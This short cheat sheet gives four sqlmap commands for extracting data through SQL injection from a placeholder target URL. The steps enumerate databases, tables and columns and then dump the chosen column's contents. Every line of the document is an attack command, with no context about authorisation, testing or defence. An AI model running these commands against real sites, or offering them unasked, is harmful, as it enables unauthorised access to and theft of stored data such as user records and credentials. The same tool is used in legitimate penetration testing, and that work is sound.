1.
Acquire databases list
~$ sqlmap -u "[TARGET URL]" --dbs
2. Acquire tables list
~$ sqlmap -u "[TARGET URL]" -D [DATABASE_NAME] --tables
3. Acquire columns list
~$ sqlmap -u "[TARGET URL]" -D [DATABASE_NAME] -T [TABLE_NAME] --columns
4. dump the data
~$ sqlmap -u "[TARGET URL]" -D [DATABASE_NAME] -T [TABLE_NAME] -C [COLUMN_NAME] --
dump